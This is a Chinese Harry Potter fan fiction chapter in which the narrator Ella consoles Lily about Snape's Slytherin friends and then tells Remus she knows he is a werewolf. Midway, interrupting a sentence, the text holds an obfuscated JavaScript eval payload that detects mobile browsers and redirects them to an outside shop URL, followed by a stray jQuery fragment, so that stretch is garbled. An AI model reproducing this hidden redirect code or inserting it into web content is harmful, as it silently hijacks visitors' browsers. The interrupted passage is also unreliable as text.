或许是因为昨天刚刚度过满月,莱姆斯直到我们回来假模假样地回到原位继续先前做的事时也没醒来。
唉,可怜的莱姆斯,不过等到我们几个都学会阿尼马格斯之后,他就再也不会孤零零地独自度过满月了。
不过回到公共休息室之后,我从阿尼马格斯变形成功的喜悦中微微脱离,想起来在去的路上远远看见的莉莉,当时的她看起来似乎有些心事,到底发生了什么?
我怀着这样的念头回到了寝室。
玛丽和马琳不知道跑到哪里去了,莉莉独自一人待在寝室里,床帘已经紧紧地拉上了。
“莉莉?”我轻轻问,“你睡了吗?”
床帘里沉默半晌,发出一些窸窸窣窣的声音,过了会才传出莉莉闷闷的声音:“没有。”
“那你还好吗?”我走近了些。
床帘微微动了动,然后从里面拉开一条缝,露出莉莉的半张脸,她的眼圈周围红红的,鼻尖也是,但并没有哭过的痕迹,似乎一直忍着。
“不好。”莉莉说,把床帘拉开了些,往边上挪了挪,示意我坐上来。
我踢了鞋爬上去,坐在她的身边,莉莉挥了挥魔杖,床帘又合上了,隔绝出一个私密的小空间。
我随手捞起一个枕头抱在怀里,问:“发生了什么事?你愿意和我说说吗?”
莉莉沉默了几秒,似乎在组织语言,漂亮的绿眼睛被她垂下的纤长的睫毛掩盖住些许,看不真切。
“你知道……斯莱特林的穆尔塞伯还有埃弗里什么的吗?”
穆尔塞伯,听起来有点耳熟。好像是纯血家族小团体的一个。大概率都是食死徒或者食死徒预备役,里德尔的在校簇拥里就有个穆尔塞伯,这个穆尔塞伯估计就是里德尔身边那个的后代之类的,反正斯莱特林那帮纯血小蛇们繁殖得很有规律。
“我知道。”我说,“长得很拟人的那个斯莱特林的穆尔塞伯。”
莉莉被我的话弄得嘴角抽了一下,叹了一口气,把头靠在我的肩膀上:“西弗勒斯最近……和他们走得很近。”
她的声音低了下去:“你知道的,我对斯莱特林那些人不熟,我以为那只是西弗勒斯的朋友……我还想着,他交到新朋友了,这真是令人高兴,但是……”
我想了想,动了动她靠住的右肩,她顺从地把脑袋抬起来些方便我动,然后我伸出手,一下一下地用手指顺着她那头漂亮的红发,安抚她的情绪。
莉莉靠在我肩上,过了一会才继续说:“但我今天看见穆尔塞伯和另外几个斯莱特林在图书馆附近的那条走廊上,对着一个赫奇帕奇的一年级学生施咒……他只是路过,什么都没有做,穆尔塞伯却对他施了一个腿立僵停死,还把他包里的东西倒出来踩烂了……西弗勒斯……就在他们不远处……他虽然没有动手,但他也没有阻止他们……”
后来是莉莉一个人跳出来阻止的这一切,因为周围并没有什么人,穆尔塞伯原本想对她也做些什么,但斯内普和他们说了些什么,才让他们阴沉着脸离开了。
斯内普脸色苍白,穿着过于宽大的旧校袍,整个人就像被阴影所笼罩了一样。
“莉莉……”斯内普的唇瓣翕动,似乎想要和她说些什么,但最后也只是低声念了一句她的名字。
莉莉没有看他,把那个赫奇帕奇身上的魔咒解除,又对他的东西施了个恢复如初,告诉他去医疗翼看看,下次不要一个人出门。
等到赫奇帕奇离开之后,她才看向斯内普。
一滴泪在她眨眼时滑落,滴落到被子上,泅开一小片深色的痕迹,过不了一会就会消失。
我们两个都没有说话。
对于斯内普相关的剧情,我还记得些许,但也只知道他在学生时期加入了食死徒,后面因为害死了莉莉而后悔加入邓布利多那边,成了双面间谍,最后在大战的时候死了。更多的我也并不清楚了。
而我对斯内普——除了教授时期——接触得并不算多,只是偶尔会在和莉莉一起去图书馆的时候撞见,但仅就这几次的接触,我也能看出来他是个非常固执同时又很拧巴的人。这种人,大概是最难扭改他们观念的类型。
“……那你和他聊过了吗?”我问。我自认没有这个能力去改变他人的命运,毕竟上一个我妄图插手的家伙现在正是食死徒的老大呢。
但命运真的无法改变吗?每个人都必须走上剧情的轨道吗?
“我说了。”莉莉有些烦躁地往后一躺,带着我也一起躺在了她的床上。我把右手缩了回来,左手则盖在了肚子上。
“他让我不要多管闲事,还说我不了解他们,哈!”莉莉愤怒地说,“我说我都已经亲眼看见他们干的事情了,他们就是一群混蛋,西弗勒斯过了半天跟我憋出来一句你不懂。”她听起来就像是闺蜜谈了个长得像河童的男朋友结果还说你们不懂他的好。虽然这件事比这个严重很多。
莉莉的红发散乱地铺在枕头上,就像蜿蜒的血一样流开……这种想法太不吉利了,我闭上了眼睛,把那些乱七八糟的念头赶跑,右手握住了她的左手。
“那你打算怎么办呢?”
莉莉想了很久。床帘里只有我们两个人彼此起伏的呼吸声,久到我的思绪都已经飘向不知名的远方。
“我不知道。我想帮他,他不该和那些人待在一起的,这是错误的……但我不知道该怎么帮他。”
“……这不是你的错。”我轻轻地说,“一个人要走什么样的路,终究是他自己的选择。或许你可以拉他一把,但你又不能替他走路。”
或许命运是最顽固不化的东西。
莉莉没再说话了,我们就这样头靠着头肩抵着肩,躺在她的床上。
“谢谢你,艾拉。”她轻轻说。
“不客气。”我轻快地说,“不过下次再有心理咨询的话我就要收咨询费了,一个金加隆一小时,童叟无欺。”
莉莉被我逗笑了:“你真是个混蛋。”
“承蒙夸奖。”
我把她从床上拽起来,又把马琳和玛丽的床帘掀开(她们早就回来了,但是假装自己不存在好给莉莉留面子),三个女巫一起把莉莉拖去洗脸换衣服,接着挨个洗漱,最后四个人围在宿舍中间的空地上,变出一堆柔软的豆袋沙发,窝在上面打噼啪爆炸牌到深夜。
期间玛丽输得最多,脸蛋已经被炸开的牌染得漆黑,只能黑着脸(似乎是字面意思)给自己施了不知道多少个清理一新,马琳则赢得最多,几乎没有输过一次,我们都表示下次不要带马琳一起玩了,她简直开挂了。莉莉终于笑了起来,脸上毫无阴霾,恢复了往日的光彩。
我想,这样就很好,无论斯内普的未来能否改变,至少莉莉现在还有我们。
*
尽管我们自认为那天的行动天衣无缝,但很显然,我们都低估了狼人先生在睡觉时的警觉性,看来狼是一种很敏锐的生物,嗯……
莱姆斯对于那天我们的悄然离场似乎若有所觉,但没有一个人告诉他我们到底干了什么,这使得狼人先生再度陷入了怀疑与焦虑之中。
我发现莱姆斯最近变得格外沉默,注意力也并不集中,时不时地会在我们说话时跑神,偶尔会流露出那种被雨淋湿的小狗一样湿漉漉的可怜眼神,看起来有些青春忧郁少年感。
我很快就猜到了:他发现了我们背着他有了小秘密,并有些难以介怀,担心那和自己有关。那些脆弱敏感的情绪再度像鬼一样缠着他。
于是,等到第三天我发现他似乎还郁郁寡欢时,在下课之后跑到掠夺者四人面前,当着其他三个人的面把莱姆斯给拉走了:“是这样的莱姆斯之前约了和我一起去图书馆总之我们先走啦——”
黑发女巫一边说着一边把状况外有点惊讶的莱姆斯给拉走了,完全没看见张着嘴似乎要说什么的西里斯。
“他们怎么又去图书馆。”西里斯略感烦躁地往后一撩头发。
詹姆则目送他们的背影,发出疑惑:“图书馆是往那条路走吗?这样不会绕远路吗?”
西里斯看起来更烦了。
彼得看了看西里斯的脸色,又看了看已经走远的莱姆斯他们的背影,似乎发现了什么,然后暗自点了点头。
“……艾拉,”莱姆斯被黑发女巫抓着手往前一个劲儿地走,不太习惯这么近距离接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920921|208367||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
触的他脸上带着淡淡的薄红,但他显然还是有些迷惑,“那个,我记得我们昨天刚一起在图书馆学习过,今天也还要吗?”
艾拉回头瞪他一眼:“难道你昨天吃过饭今天就不吃了吗?——不对不对、”她很快反应过来这只是个幌子来着,于是语调轻快地说,“我只是想和你聊一聊,莱姆斯。”兼职心理咨询师上线了。
刚巧不远处就是一个空教室,一般是让学生们练习魔咒之类的事的,里面并没有人,艾拉把他拉进去,关上门,然后施了个反阿拉霍洞开又施了个隔音咒。
莱姆斯有点搞不清楚状况,但眼下的情景也很难不让他往一些青春悸动之类的方向思考,以至于被自己的脑补弄得脸更红了一些。
艾拉施完咒一转身就看见莱姆斯红红的脸蛋,有点奇怪:“莱姆斯,你走过来很热吗?还是生病了?”说着她微微踮起脚摸了摸莱姆斯的额头,好像也没有很烫。
莱姆斯紧张地眨巴眼,忍不住做了个吞咽的动作,虽然喉咙非常干涩使他得做起来有些困难:“呃、那个……”
“我有话要和你说。”艾拉直勾勾地盯着他,莱姆斯感到一阵慌乱,视线躲闪着不敢和她对视。
这让艾拉心中更加怜惜了,多可怜的莱姆斯啊!但那只是个毛茸茸的小问题,这不是他的错!
虽然她想的和莱姆斯想的完全是两码事。
“你、你要说什么?”莱姆斯问,同时大脑飞速运转要怎么拒绝她才能既让她不伤心又让他们能够依然是朋友,他知道自己有点贪心了,但他压根配不上她,毕竟、毕竟他是个——
“我知道你是狼人。”艾拉说。
就像炸弹投入到平静的水面一样,这让莱姆斯的大脑一片空白,几近耳鸣的声音在他的耳边回荡着。
莱姆斯的脸一下子变得苍白了。他几乎不敢看对方,害怕从那张脸上看到任何一点厌恶或恐惧,他害怕会被朋友当做怪物来看待。他感到一阵晕眩,多年来因为狼人身份而导致的痛苦席卷着他的心,使他的心脏被淹没在苦涩的海里。父母因为他的拖累而贫苦的生活、在霍格沃茨的这三年与朋友们快乐的回忆、独自一人在尖叫棚屋度过满月的孤寂与悲哀……这些种种在他的脑海里交织着,快速地闪回,使他微微颤抖了起来。
“看着我,”艾拉牵起他的手,握住他,那种温热的气息安抚了他些许,也是这时候他才后知后觉自己感到寒冷,“抬起头,看着我,莱米。”艾拉说。
莱姆斯几乎是抱着绝望的心情和艾拉对视上。
出乎意料的,她脸上看不见一丝反感,取而代之的,是因为他那痛苦模样而产生的怜惜与伤感。
莱姆斯那颗被提起来的心被艾拉强硬地钉回到原位,然后难以抑制地带着卑劣的喜悦跳动起来。
“我……”他开口,声音比自己预想的还要沙哑,“你怎么知道的?”
“我猜到的——这不重要。”艾拉望着他,他几乎能从那双黑色的眼眸里看见自己的倒影,他忽然发觉那并不是纯然的黑色,似乎更偏深棕,当然,他也有些唾弃自己这时候会忽然注意这些。
艾拉几乎是怜爱地摸着他的脑袋,摸狗一样顺毛的手法,却诡异地让莱姆斯的心平静了许多:“莱姆斯,这不是你的错,狼人也不是什么大问题,我不在乎什么狼人,我只在乎你——”
莱姆斯的脸难以抑制地红了起来。
“——你是我的朋友。”艾拉说。
*
我告诉莱姆斯,其实另外几个人也发现了他的身份,但大家都认为这只是个毛茸茸的小问题,毕竟比起课本上说的那种危险的狼人,我们认识的那个莱姆斯是个善良温柔的好朋友。
莱姆斯的脸从一开始的苍白逐渐恢复了正常,看得我母爱大发,又给心思敏感自卑的小狼人灌输了一大堆鸡汤,勉强让他打起精神了起来,似乎也接受了朋友们无论他的身份怎么样都依然爱他的这一事实。
我果然很适合做个心理咨询师什么的嘛!我得意地想。
不过,我突然想起后世是有狼毒药剂这种东西的,这玩意儿现在发明出来了吗?我得去为了我的狼人朋友查查。